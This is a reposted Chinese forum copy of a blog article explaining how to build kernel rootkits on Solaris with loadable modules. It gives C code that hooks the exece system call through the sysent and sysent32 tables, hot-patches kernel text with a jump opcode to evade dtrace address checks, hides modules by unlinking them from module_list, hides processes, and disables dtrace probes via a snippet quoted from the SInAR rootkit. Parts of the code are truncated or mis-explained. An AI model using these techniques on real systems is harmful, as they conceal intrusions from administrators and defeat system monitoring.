- 论坛徽章:
- 0
|
在linux中,通过LKM注射来截取系统调用已经是rootkit很常见的一种方法。那么,同为Unix的Solaris是否也可以通过类似的方法来hack呢?答案是肯定的,而且编程方法甚至是非常相似的。所不同的地方是现在的Solaris一般都是64bit的内核,而且,Solaris系统内置了很多debug的工具,比如dtrace,可以很容易的发现系统是否被hack了。本文就Solaris的这些检查方法来做一个简单的介绍,并且参照一些文献和亲身实验,给出具体的应对方法。
1. LKM 工具
for Solaris and Linux
对于Linux的LKM,有很多大家都比较清楚了,比如Knark或者Adore
,而且他们都提供了隐藏自身的功能(比如隐藏文件,
隐 藏 进 程,
重定向可执行文件,
隐藏网络连接)。它们采用的技术主要是利用截获open,
gendents64,write等系统调用来为自己所用。至于隐藏就是“如果发现输出的信息含有自己要隐藏的信息,就把这部分的buffer抹去”。
至于在Solaris里面,同样的也是有很多的系统调用,而且Solaris将系统调用表export出来。这样,想要截获Solaris的系统调用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR,
slkm等等。他们是通过截获系统调用来隐藏自身。
2. Hack方法
截获系统调用的方法有很多,我们可以自己写一个dummy系统调用函数,再将这个函数的地址在export的系统调用表里替换一下;同样也可以截取系统调用的地址,写一些opcode将其栈地址写成我们的dummy函数。在看具体看例子之前,先看一个系统调用的结构。
struct sysent {
char
sy_narg; /* total number of arguments */
#ifdef _LP64
unsigned short
sy_flags; /* various flags as defined below */
#else
unsigned char
sy_flags; /* various flags as defined below */
#endif
int
(*sy_call)(); /* argp, rvalp-style handler */
krwlock_t
*sy_lock; /* lock for loadable system calls */
int64_t
(*sy_callc)(); /* C-style call hander or wrapper */
};
这个结构就是系统调用表的结构,其中sy_callc就是系统设置的系统调用函数地址,而我们要做的,就是让他执行我们自己的函数。
2.1 替换系统调用
我们先看一个最简单的例子。
int new_exece(const char
*path, int oflag, mode_t mode)
{
cmn_err(CE_NOTE,
"anm, new exece, path is %s", path);
return
old_exece(path, oflag, mode);
}
int _init(void)
{
if ((i =
mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,
"Could not install module\n");
old_exece = (void *)
sysent[SYS_exece].sy_callc;
sysent[SYS_exece].sy_callc
= (void *) new_exece;
return i;
}
int _fini(void)
{
int i;
if ((i =
mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE, "Could
not remove module");
sysent[SYS_exece].sy_callc
= (void *) old_exece;
return i;
}
在上面的例子中,就是一个很简单但是全面的截取系统调用exece的方法,就是在_init函数中将sysent中的SYS_exece数组项sy_callc函数的入口地址设置成为我们的new_exece中,其中的sysent就是Solaris的系统调用表,和Linux不同,Linux从2.4开始,系统调用表已经不公开export出来了,虽然可以通过内存检索得出系统调用表的位置,但是对于LKM来说稍微加了一点门坎。而Solaris可能是为了向前兼容,所以这部分的代码一直都没怎么变。
在new_exece里面,我们没有做任何事,只是输出了一行,提示这已经是我们的exece了。还有注意一定要调用原来的old_exece函数来完成相应的功能。虽然我们只加了一行程序,但考虑到同时可能有非常非常多的exece请求,这有可能会对系统性能造成非常大的影响。在Linux中的LKM,处于隐藏的需要,可能要在read或者write系统调用里面写一些内存操作程序,这其实对系统性能影响是很显著的。
回到我们的话题,在模块退出的时候,一定要用“sysent[SYS_exece].sy_callc
= (void *) old_exece;”把原来的exece调用函数指回到系统调用表中。否则的话,后果很严重!嘿嘿。
2.2 截取系统调用
上面是最简单直接的替换系统调用表里的函数,但是这样做是有问题的。比如dtrace可以直接得到系统调用函数的地址,如果用我们的函数来进行替换,那么很细心的系统管理员还是可以注意到系统已经被hack了。比如如下的dtrace程序。
#cat exec.d
#!/usr/sbin/dtrace -s
dtrace:::BEGIN
{
ptr = (long *)&`exece;
printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc);
printf("Exec at:
0x%p\n", ptr);
exit(0);
}
# ./exec.d 11
dtrace: script './exec.d'
matched 1 probe
CPU ID
FUNCTION:NAME
1 1
:BEGIN
sysent[$1]:0xfffffffffb9bca28
Exec at:
0xfffffffffb9bca58
如果我们用上面的系统调用替换,那么Exec程序捕获的地址就不会是显示的这个地址。
我们可以用给系统打patch的方法改变syscall的内容,如下面的程序。
short x = 0;
char jmpl_x86[7] =
"\xb8\x00\x00\x00\x00\xff\xe0";
*(long *)&jmpl_x86[1]
= (long)new_exece;
for(x=0;x
hot_patch_kernel_text(kern_call+
x,jmpl_x86[x],1);
在hot_patch_kernel_text函数里面,就是把jmpl_x86所指的内容放到系统调用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在汇编指令中就是”mov
0 %eax;jmp
%ebx”,然后在下一条指令里面把我们的new_exece的地址给”mov”指令。再通过hot_patch_kernel_text函数来把这个跳转指令写进去。这样,当执行exec
系统调用的时候首先就是进行跳转到new_exece函数里面去,这样通过上面的dtrace脚本看上去,exec系统调用的地址不会变,但是其实已经系统调用已经被hack了。
3. 目前Rootkit存在的问题
上面介绍的方法其实在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法试图去截获系统调用,在相当一部分的情况下都不会成功,这是因为目前Solaris基本都使用64bit的kernel,除非在一些非常老的机器上。
在solaris系统上,应用程序向系统内核请求调用的“门”是syscall_entry,并且process向系统内核请求服务的process
model是proc_t->ulwp_t->klwp_t->kthread_t,其中proc_t到ulwp_t在应用层,由libc来进行转换;kernel部分由lwp转换成为thread,进行执行。有关详细内容请参见附录1。
通过分析sycall_entry这个函数,我们会注意到如下的显示
struct sysent *
syscall_entry(kthread_t
*t, long *argp)
{
klwp_t *lwp = ttolwp(t);
struct regs *rp =
lwptoregs(lwp);
unsigned int code;
struct sysent *callp;
struct sysent *se =
LWP_GETSYSENT(lwp);
int error = 0;
uint_t nargs;
…...
这下知道了,系统调用表是通过LWP_GETSYSENT(lwp)宏来得到的,
#ifdef
_SYSCALL32_IMPL
#define LWP_GETSYSENT(lwp) \
(lwp_getdatamodel(lwp)
== DATAMODEL_NATIVE ? sysent : sysent32)
#else
#define LWP_GETSYSENT(lwp) (sysent)
#endif
原来在Solaris里面,有两个系统调用表,可能是为了和之前的系统兼容,Solaris保留了一个sysent32的系统调用表。查看sysent32的定义:
/*
* sysent table for ILP32
processes running on
* a LP64 kernel.
*/
struct sysent
sysent32[NSYSCALL] =
{
…
原来sysent32是特地为64位的内核上运行32位的程序预备的,在查看我的bash文件,
#
file /bin/bash
/bin/bash: ELF
32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...
当在64位的系统上运行32位的shell时,系统采用了不同的调用表。我们可以将例子1里面的程序的sysent系统调用表改成sysent32,然后用它来截获系统调用,果然一切OK!
那么在64bit的机器上,用上面机器码的例子来截获系统调用也是不能成功的,原因就是64位是8个字节,所以相应的地址要进行改变;而且jmp指令的机器码也有不同,那么具体就要参考intel或者amd的硬件手册了。
4. 如何隐藏自身
Solaris里面的隐藏和Linux里面的隐藏方法基本一样,比如文件隐藏,网络隐藏等等,下面以模块隐藏和进程隐藏为例,抛砖引玉。
4.1 如何隐藏模块
module的隐藏还是比较容易的,就是把特定的module从module_list链表里面摘除,就可以了。
# mdb -k
> modules::print
{
mod_next = 0x1850aa0
mod_prev =
0x300021aaea8
mod_id = 0
mod_mp = 0x184cef0
mod_inprogress_thread
= 0
mod_modinfo = 0
mod_linkage = 0
mod_filename =
0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix"
mod_modname =
0x184ced7 "unix"
mod_busy = '\0'
mod_want = '\0'
mod_prim = '\001'
mod_ref = 0
mod_loaded = '\001'
mod_installed = '\001'
mod_loadflags = '\001'
mod_delay_unload =
'\0'
mod_requisites = 0
mod_dependents = 0
mod_loadcnt = 0x1
mod_nenabled = 0
mod_text = scb
[...]
}
>
利用一个简单的摘链表的步骤即可:
prev->next
= next;
next->prev
= prev;
4.2 进程隐藏
要想不被ps等命令发现,就要保证在proc结构中我们想要隐藏的进程消失。具体方法就是将proc结构中的p_pidp->pid_prinactive设置为1即可。
if(curproc->p_parent)
{
if(curproc->p_parent->p_pidp->pid_prinactive)
{
curproc->p_pidp->pid_prinactive
= 1;
}
}
4.3
如何对付dtrace
dtrace提供了很多的FBT探点,对于系统调用,通过这些探点可以看到正在执行的系统调用的堆栈,和系统调用函数的名字(有关dtrace详情,请参见附录2)。在SInar中,作者并没有给出很好的绕过dtrace的方法,他仅仅是简单的把dtrace
对于插入的module
disable了(因为dtrace只检测active的module和active的FBT
提供者)。下面的例子从SInar中直接引用过来:
dt_cond =
kobj_getsymvalue("dtrace_condense",0); //取得dtrace
cond符号
fbtptr =
modgetsymvalue("fbt_id", 0); //取得fbt
provider的符号
modcookie =
dtrace_interrupt_disable(); //取得disable
dtrace的handler
//模块消失!
modme->mod_nenabled =
0;
modme->mod_loaded = 0;
modme->mod_installed =
0;
modme->mod_loadcnt = 0;
modme->mod_gencount =
0;
//hack dtrace
dt_cond(*fbtptr);
dtrace_sync(); // just for
our own good
dtrace_interrupt_enable(modcookie);
附录
Solaris Internal:
Solaris 10 and OpenSolaris Kernel Architecture 2nd
Edition.
Dtrace docs:
http://www.sun.com/bigadmin/content/dtrace/
Sinar:
http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/412/showart_1870688.html |
|